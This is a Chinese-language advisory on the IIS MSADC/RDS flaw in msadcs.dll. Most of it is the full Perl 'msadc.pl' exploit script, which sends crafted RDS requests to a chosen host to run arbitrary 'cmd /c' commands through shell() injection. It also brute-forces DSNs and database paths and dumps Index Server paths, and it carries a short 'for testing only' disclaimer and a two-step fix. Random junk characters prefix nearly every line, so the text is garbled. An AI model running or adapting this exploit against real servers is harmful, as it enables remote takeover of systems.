IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Oe
~g[I; <\ EJ: 涉及程序：
~sT1J | Microsoft NT server
{2F@OfuCF J"~!jrzBh( 描述：
YpI|=m v 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
v6P2 v f9D01R fo 详细：
= ~_ 如果你没有时间读详细内容的话，就删除:
`3:Q.A_? c:\Program Files\Common Files\System\Msadc\msadcs.dll
a'Yi^;2+\ 有关的安全问题就没有了。
%z~=J z^ 55Y a(E 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
7z q@T] Kv9Z.DY 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
6GA+xr= 关于利用ODBC远程漏洞的描述，请参看:
&&g 02>gE f~ wgMp.W0 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm f 0&% Q$(Fm a 4a 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
ZeLed[J^xJ http://www.microsoft.com/security/bulletins/MS99-025faq.asp ,49Z/P bEm9hFvd 这里不再论述。
8PR\a!" L3=5tuQ[5 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
Qk72 ra) +/ rt'0o /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
C),i#v 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Z+=M_{`{ d}Q% I pO92cGJ8 #将下面这段保存为txt文件，然后: "perl -x 文件名"
LU/;` In EpH_v` #!perl
|'-%d^ Z #
R.!.7dO # MSADC/RDS 'usage' (aka exploit) script
% Ai ' 6 #
_&%FGcA S # by rain.forest.puppy
T@A Qe[U'v #
*:"@ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
mv 7W03 # beta test and find errors!
dXfLN<nD>U 0j;q^> use Socket; use Getopt::Std;
yd=b!\}WJ getopts("e:vd:h:XR", \%args);
*3)kr=x +PS
jBO4! print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
E> +>!On)b yzT4D>1, if (!defined $args{h} && !defined $args{R}) {
XBoq/kbw! print qq~
|az 2vD6P Usage: msadc.pl -h <host> { -d <delay> -X -v }
)k;;O7C k -h <host> = host you want to scan (ip or domain)
m*jT vn -d <seconds> = delay between calls, default 1 second
Ol~M
BQs -X = dump Index Server path table, if available
l dqU# { -v = verbose
pH3<QNq5 -e = external dictionary file for step 5
PMUW< UI *YSRZvD<\ Or a -R will resume a command session
|nE4tN#J< /3&MUB*z&y ~; exit;}
0` .5gxm L 0oVXmlr $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
|Ve, Y if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
VD< z]@ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
2vWn(6` if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Q8MIpa!: $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
7Ja*T@ ! h if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
;tSA Q j+@3.^vK if (!defined $args{R}){ $ret = &has_msadc;
AJm$(3?/D die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
tv26eK
38 ,J8n}7aI print "Please type the NT commandline you want to run (cmd /c assumed):\n"
^q nmKA>"F . "cmd /c ";
m7DKC, $in=<STDIN>; chomp $in;
J\P6 $command="cmd /c " . $in ;
*MB >,HU g(Q1d-L4e if (defined $args{R}) {&load; exit;}
z_N";Rn ,yA[XAz~U print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
S*$?~4{R &try_btcustmr;
{`G d d$jwh(Ivs print "\nStep 2: Trying to make our own DSN...";
}opw_h+/F &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Ulx]4;uzf fbU3-L? print "\nStep 3: Trying known DSNs...";
lLDZ#'&An &known_dsn;
] |nW rlD!%gG2x print "\nStep 4: Trying known .mdbs...";
*= ?|n &known_mdb;
15hqoo9! Fj(GyPFG if (defined $args{e}){
/0 4US5En print "\nStep 5: Trying dictionary of DSN names...";
P:t .Nr" &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
a eeor MM_:2 ^P) print "Sorry Charley...maybe next time?\n";
+D:8r|evH exit;
-rn6ZSD) Q2D!Agq=D ##############################################################################
xhOoZ- tM^4K r~o, sub sendraw { # ripped and modded from whisker
"L:4 7!8 sleep($delay); # it's a DoS on the server! At least on mine...
&iVdq r1, my ($pstr)=@_;
2 U]d 1 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
r34MDUZdI die("Socket problems\n");
Id##367R if(connect(S,pack "SnA4x8",2,80,$target)){
P /d nH select(S); $|=1;
" X8jpg print $pstr; my @in=<S>;
c~?Zmdn: select(STDOUT); close(S);
r`.N? return @in;
[IQ|c?DxpL } else { die("Can't connect...\n"); }}
msM1K1er |PlNVd2 ##############################################################################
Hd dc-7s kQ}n~H n sub make_header { # make the HTTP request
94?WL my $msadc=<<EOT
UhpJG O POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
s0^(yEcq User-Agent: ACTIVEDATA
\?d3Pn5` Host: $ip
4G?^# +|^ Content-Length: $clen
KGHSEZi] Connection: Keep-Alive
Vh;zV Y /rnI"ze` ADCClientVersion:01.06
kB> ~Tb0 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
IF|6iKCE yjg& /6 --!ADM!ROX!YOUR!WORLD!
6FQi=}O 1 Content-Type: application/x-varg
8.#{J&h Content-Length: $reqlen
iBd6&?E?< % ^pi EOT
X S [L-NHG ; $msadc=~s/\n/\r\n/g;
Ch_rV + return $msadc;}
8s@N Nj V b1.*cIv} ##############################################################################
w_xc a( ~DI$O[KpR% sub make_req { # make the RDS request
:Iv;%a0 - my ($switch, $p1, $p2)=@_;
ksOGCd^G7 my $req=""; my $t1, $t2, $query, $dsn;
6JDHwV >w@+cUto if ($switch==1){ # this is the btcustmr.mdb query
= O![>Fu5 $query="Select * from Customers where City=" . make_shell();
t82'K@sq $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
lGl' A}]#$ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
&~
y)b` r cKe %P|8 elsif ($switch==2){ # this is general make table query
C/Khp + $query="create table AZZ (B int, C varchar(10))";
)ODF6Ag $dsn="$p1";}
]~KLdgru_ _XV%}Xb' elsif ($switch==3){ # this is general exploit table query
GWnIy6TH l $query="select * from AZZ where C=" . make_shell();
zKO7`.* $dsn="$p1";}
D j&~x
kg [ %Q]] elsif ($switch==4){ # attempt to hork file info from index server
/Hyz]46 $query="select path from scope()";
^Tm`motzh $dsn="Provider=MSIDXS;";}
Ki\.w~Qs 8Ojqm#/f elsif ($switch==5){ # bad query
K>@yk9)vi $query="select";
HU i?\4 $dsn="$p1";}
#]kjyT0 tt zNv>L, $t1= make_unicode($query);
6<._^hy q $t2= make_unicode($dsn);
"6$V1B0KW $req = "\x02\x00\x03\x00";
MC}t8L= $req.= "\x08\x00" . pack ("S1", length($t1));
XH"+oW $req.= "\x00\x00" . $t1 ;
/ x 6p $req.= "\x08\x00" . pack ("S1", length($t2));
- {QU>`2 $req.= "\x00\x00" . $t2 ;
l@4_D;b3o" $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
//q(v,D%Q return $req;}
EiL#D wx xc:E>- ##############################################################################
PgWWa*Ew 9 CY{}g sub make_shell { # this makes the shell() statement
#) aL D0p return "'|shell(\"$command\")|'";}
YAr6 cl xH-d<Ht,7 ##############################################################################
*1b|j|5v 9=%zd z2_S sub make_unicode { # quick little function to convert to unicode
BB B@M my ($in)=@_; my $out;
T{k
P9
4 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
<v:VA!] return $out;}
5ilGWkb`'X N+|NI?R?} ##############################################################################
GM%+yS} (P }02`ve* sub rdo_success { # checks for RDO return success (this is kludge)
jwDlz.sW! my (@in) = @_; my $base=content_start(@in);
@ _Ey"k< if($in[$base]=~/multipart\/mixed/){
r ]DiB:. return 1 if( $in[$base+10]=~/^\x09\x00/ );}
}TmOoi(X@ return 0;}
~~tTr $ %ou,|Dww ##############################################################################
py*22Ua^ Dcl $? sub make_dsn { # this makes a DSN for us
6#?T?!vZ my @drives=("c","d","e","f");
\<4N'|: print "\nMaking DSN: ";
e1m?g &[ foreach $drive (@drives) {
t'eqk#rq print "$drive: ";
,ks2&e my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
,=:K&5mCv "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
]pax,| +$C . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
ef5)z }B $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
y_Y(Xx3 return 0 if $2 eq "404"; # not found/doesn't exist
?"6Zf LRi if($2 eq "200") {
&L ;ocd$ foreach $line (@results) {
BU O5g8m{ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
-@W9+Zf5 } return 0;}
)
7/Cg PsY![CPrW ##############################################################################
-8TJ:#|N #~*v##^vFH sub verify_exists {
) h{&O
,s my ($page)=@_;
)`\hK my @results=sendraw("GET $page HTTP/1.0\n\n");
xY^sC56Z return $results[0];}
_4ag-'5 6>>; fy2 ##############################################################################
Kc/1LeAik 4T@:_G2b sub try_btcustmr {
_gvFs %J my @drives=("c","d","e","f");
iNO>'7s7 my @dirs=("winnt","winnt35","winnt351","win","windows");
37#&:[w> _C?j\Wy foreach $dir (@dirs) {
LW %AZkAx print "$dir -> "; # fun status so you can see progress
:QE5 7 . foreach $drive (@drives) {
{%V(Dd[B6 print "$drive: "; # ditto
|V Bt:dd< $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Yh":>~k?SY $reqlenlen=length( "$reqlen" );
{ZJO5* $clen= 206 + $reqlenlen + $reqlen;
m|a9T#B( =kjKK my @results=sendraw(make_header() . make_req(1,$drive,$dir));
>rSjP1-F if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
(o^tmH* else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
067c/ c _Cmmx`ln ##############################################################################
"[ bkdL< a~$XD(w^ sub odbc_error {
yk+ 50/L my (@in)=@_; my $base;
9 mF ' my $base = content_start(@in);
K`4rUEf}V" if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
(!~cO x
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
h [Tw aR $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
h3ygL" k $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
jh5QI Zf= return $in[$base+4].$in[$base+5].$in[$base+6];}
44]s`QyG print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
o<`vh*U@,4 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
C"hN2Z!CD| $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
@KN+)q P mzgt>Qtkz= ##############################################################################
P*|N)S)X% q!Du
J sub verbose {
aO6\ e> my ($in)=@_;
&qv~)ZM $ return if !$verbose;
Y0LZbT 3 print STDOUT "\n$in\n";}
jUe@xi s<T o2 /:e ##############################################################################
s\*L5{kiSl W ^( zP/ sub save {
b IDUa my ($p1, $p2, $p3, $p4)=@_;
7- B.<$uC open(OUT, ">rds.save") || print "Problem saving parameters...\n";
q t"D!S_ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
A2_ut6&eb close OUT;}
om3
%\ <_E KCk ##############################################################################
peQwH B}e/MlX3M sub load {
a)_ 3r]sv^ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
m4 :c$5 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
~?ab_CY @p=<IN>; close(IN);
3Cf9'C $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
t^s&1#iC $target= inet_aton($ip) || die("inet_aton problems");
&i#$ia r print "Resuming to $ip ...";
LC%o coc $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
-IPo/?} if($p[1]==1) {
<r%K i`u(p $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
T(J'p4 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
LGP"S5V my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
r $7 . if (rdo_success(@results)){print "Success!\n";}
CSM"Kz` else { print "failed\n"; verbose(odbc_error(@results));}}
AIF ?>wgq elsif ($p[1]==3){
6g(;2gY if(run_query("$p[3]")){
s :vNr@TS print "Success!\n";} else { print "failed\n"; }}
qBA)5Sv\V elsif ($p[1]==4){
N5Js.j>z if(run_query($drvst . "$p[3]")){
_&gi4)q print "Success!\n"; } else { print "failed\n"; }}
z7K{ ,y exit;}
18&" j 8'm eYOY ##############################################################################
z.vQ1~s F O! Td sub create_table {
A*JOp8\) my ($in)=@_;
/{T&l* ' $reqlen=length( make_req(2,$in,"") ) - 28;
3I)~;>meo $reqlenlen=length( "$reqlen" );
N*Y[[ N( $clen= 206 + $reqlenlen + $reqlen;
K-qWT7< my @results=sendraw(make_header() . make_req(2,$in,""));
i:lc]B return 1 if rdo_success(@results);
0PzSp ] my $temp= odbc_error(@results); verbose($temp);
qu=~\t1[6 return 1 if $temp=~/Table 'AZZ' already exists/;
$?= $F return 0;}
^q7V%{54 p`tz*ewC ##############################################################################
S% SYvA *x36;6~W; sub known_dsn {
Llfl I # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
^y<^hKjV my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
XlppA3JON| "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
g~lv/.CnA+ "banner", "banners", "ads", "ADCDemo", "ADCTest");
ot0teNF FP@_V -
foreach $dSn (@dsns) {
N$fP\h^AR print ".";
'gwh: next if (!is_access("DSN=$dSn"));
(tK_(gO if(create_table("DSN=$dSn")){
sh/ ,"b2!P print "$dSn successful\n";
w$]G$e if(run_query("DSN=$dSn")){
kmQ:wf: print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
LdUz; sb print "Something's borked. Use verbose next time\n";}}} print "\n";}
G % F #I ZO+RE7f*?c ##############################################################################
SN6 QX!3 Ly= . sub is_access {
{ FJM c O= my ($in)=@_;
l` v5e"V $reqlen=length( make_req(5,$in,"") ) - 28;
LjKxznn o $reqlenlen=length( "$reqlen" );
B'Yx/c&n $clen= 206 + $reqlenlen + $reqlen;
0s n$QmW: my @results=sendraw(make_header() . make_req(5,$in,""));
L]Tj] u ) my $temp= odbc_error(@results);
(,At5 T verbose($temp); return 1 if ($temp=~/Microsoft Access/);
w,%"+ tY_ return 0;}
>a;a8EA<O
f<o|5r ##############################################################################
35h|?eN_m! Z+xk N sub run_query {
z)Rkd0/X my ($in)=@_;
%bcf% 7 $reqlen=length( make_req(3,$in,"") ) - 28;
1[P}D~ nQ $reqlenlen=length( "$reqlen" );
pa-*&p $clen= 206 + $reqlenlen + $reqlen;
D#GuF~-F!R my @results=sendraw(make_header() . make_req(3,$in,""));
g#S
X$k-O return 1 if rdo_success(@results);
GT6; I7 my $temp= odbc_error(@results); verbose($temp);
j{C~wy!J return 0;}
>+O0W)g{o 6IqPZ{g9K' ##############################################################################
u`ir(JIj] $z=a+t * sub known_mdb {
+3,7 Apj my @drives=("c","d","e","f","g");
Th_@'UDa my @dirs=("winnt","winnt35","winnt351","win","windows");
Agd"m4! my $dir, $drive, $mdb;
p$,7qGST my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
{O+T`; =)L Laj/~Ru6 # this is sparse, because I don't know of many
1P)K@j my @sysmdbs=( "\\catroot\\icatalog.mdb",
pH~\~ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
4LSs WO<@ "\\system32\\certmdb.mdb",
G^'We6< "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
g;l K34{ kNuvJ/St my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
6 (rm%c "\\cfusion\\cfapps\\forums\\forums_.mdb",
V_i&@<J "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
ZayJllaq^ "\\cfusion\\cfapps\\security\\realm_.mdb",
|Iy;_8c "\\cfusion\\cfapps\\security\\data\\realm.mdb",
{$S "S j "\\cfusion\\database\\cfexamples.mdb",
r^k+D<k[7 "\\cfusion\\database\\cfsnippets.mdb",
= Jp:dM* "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
[REH*_ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
B:>:$LIL "\\cfusion\\brighttiger\\database\\cleam.mdb",
QPuc{NcB> "\\cfusion\\database\\smpolicy.mdb",
O>E}Lu;| "\\cfusion\\database\cypress.mdb",
{-)^?Zb
@ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Csyh
'v "\\website\\cgi-win\\dbsample.mdb",
6;E3|st1X "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
;CO qu#( "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
{OG1' m6=/ ); #these are just
+G;<D@gSa0 foreach $drive (@drives) {
h-p}Qil, foreach $dir (@dirs){
_DR@P(0>_ foreach $mdb (@sysmdbs) {
^"Bhp:o2 print ".";
BOpZ8p'eH1 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
2)BO@]n print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
fb Bu^]^S if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
=8_b&4.:& print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
w,hm_aDq } else { print "Something's borked. Use verbose next time\n"; }}}}}
GwO`@-}E .1(_7!m@ foreach $drive (@drives) {
kTjn%Sn, foreach $mdb (@mdbs) {
;X}2S!7Ko print ".";
v hZ Xgp0X if(create_table($drv . $drive . $dir . $mdb)){
p,=IL_ print "\n" . $drive . $dir . $mdb . " successful\n";
8{W l if(run_query($drv . $drive . $dir . $mdb)){
+B{u,xgg print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
oVK?lQ~y } else { print "Something's borked. Use verbose next time\n"; }}}}
+*OAClt+] }
z/#,L!Z3 zE;|MU@| ##############################################################################
!S~)U{SSK D)MFii1J~ sub hork_idx {
(jKqwVs.: print "\nAttempting to dump Index Server tables...\n";
Az8b_:= print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
K0>;4E>B $reqlen=length( make_req(4,"","") ) - 28;
gpq ,rOIK $reqlenlen=length( "$reqlen" );
kNP- +o $clen= 206 + $reqlenlen + $reqlen;
Vc0j)3 my @results=sendraw2(make_header() . make_req(4,"",""));
1<:5b %^c if (rdo_success(@results)){
&wQ<sVQ0$ my $max=@results; my $c; my %d;
V 2Xv) for($c=19; $c<$max; $c++){
Zl[EpXlZ $results[$c]=~s/\x00//g;
"tT4Cb3 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
PU% Zay $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
R(t%/Hvs$ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
vdXi'< $d{"$1$2"}="";}
,`U>BBBLv foreach $c (keys %d){ print "$c\n"; }
/$93#$ } else {print "Index server doesn't seem to be installed.\n"; }}
7! qeIz a<*+rGI ##############################################################################
'*[7O2\%/ 5NkF_&S_1 sub dsn_dict {
y%|E z open(IN, "<$args{e}") || die("Can't open external dictionary\n");
_)@G,E33f@ while(<IN>){
pZ $>Hh # $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
0~<?*{~ next if (!is_access("DSN=$dSn"));
h0 -.9ym if(create_table("DSN=$dSn")){
;{8 X+H print "$dSn successful\n";
XN-1`5:4I if(run_query("DSN=$dSn")){
<e&v[ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
ZKW1HL ]m print "Something's borked. Use verbose next time\n";}}}
ys!O"=OJ print "\n"; close(IN);}
Dh m ;K$T 4~Q<LEly ##############################################################################
p7+>]sqX !pfpT\i]N: sub sendraw2 { # ripped and modded from whisker
C!_=L?QT^ sleep($delay); # it's a DoS on the server! At least on mine...
eG+$~\%Fub my ($pstr)=@_;
`?T::&` socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
YS4"TOFw die("Socket problems\n");
Q?hf2iw if(connect(S,pack "SnA4x8",2,80,$target)){
%#fjtbeB print "Connected. Getting data";
ka=A:biz open(OUT,">raw.out"); my @in;
1/bTwzR.g select(S); $|=1; print $pstr;
*s, bz.[ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
nVlZ_72d close(OUT); select(STDOUT); close(S); return @in;
H.h Kh } else { die("Can't connect...\n"); }}
t .&JPTK-H < =!t!_ ##############################################################################
{%6
'|<`[ g[y&GCKY!= sub content_start { # this will take in the server headers
Ce//; Op my (@in)=@_; my $c;
@@a#DjE%/ for ($c=1;$c<500;$c++) {
Bd *Ok] if($in[$c] =~/^\x0d\x0a/){
^69(V LK if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
TN Z -0 else { return $c+1; }}}
-~sW@u)O return -1;} # it should never get here actually
f*V^HfiQb p%Q{Rqc) ##############################################################################
8/B8yY-O qi^kf sub funky {
3f>9tUWhTy my (@in)=@_; my $error=odbc_error(@in);
8 bw, dBN if($error=~/ADO could not find the specified provider/){
ao7M([ff print "\nServer returned an ADO miscofiguration message\nAborting.\n";
vh|m[ p exit;}
I 8
? if($error=~/A Handler is required/){
j!L7r'AV5 print "\nServer has custom handler filters (they most likely are patched)\n";
oGXc u?ft exit;}
!9 qw if($error=~/specified Handler has denied Access/){
o8g] ho print "\nServer has custom handler filters (they most likely are patched)\n";
H
O>3>v exit;}}
("f~gz<< "tb KbFn9 ##############################################################################
P;7[5HFF l d%#. ~Q sub has_msadc {
7h. [eMLPB my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
bTx4}> =5l my $base=content_start(@results);
A\"4[PXpQ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
?mi}S${g return 0;}
` &) 7lO Au]Zx ########################
Q=<&ew R4D$)D -R$ Q`Xw 解决方案：
Us6 ~7L00 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
*Qngx
2、移除web 目录: /msadc
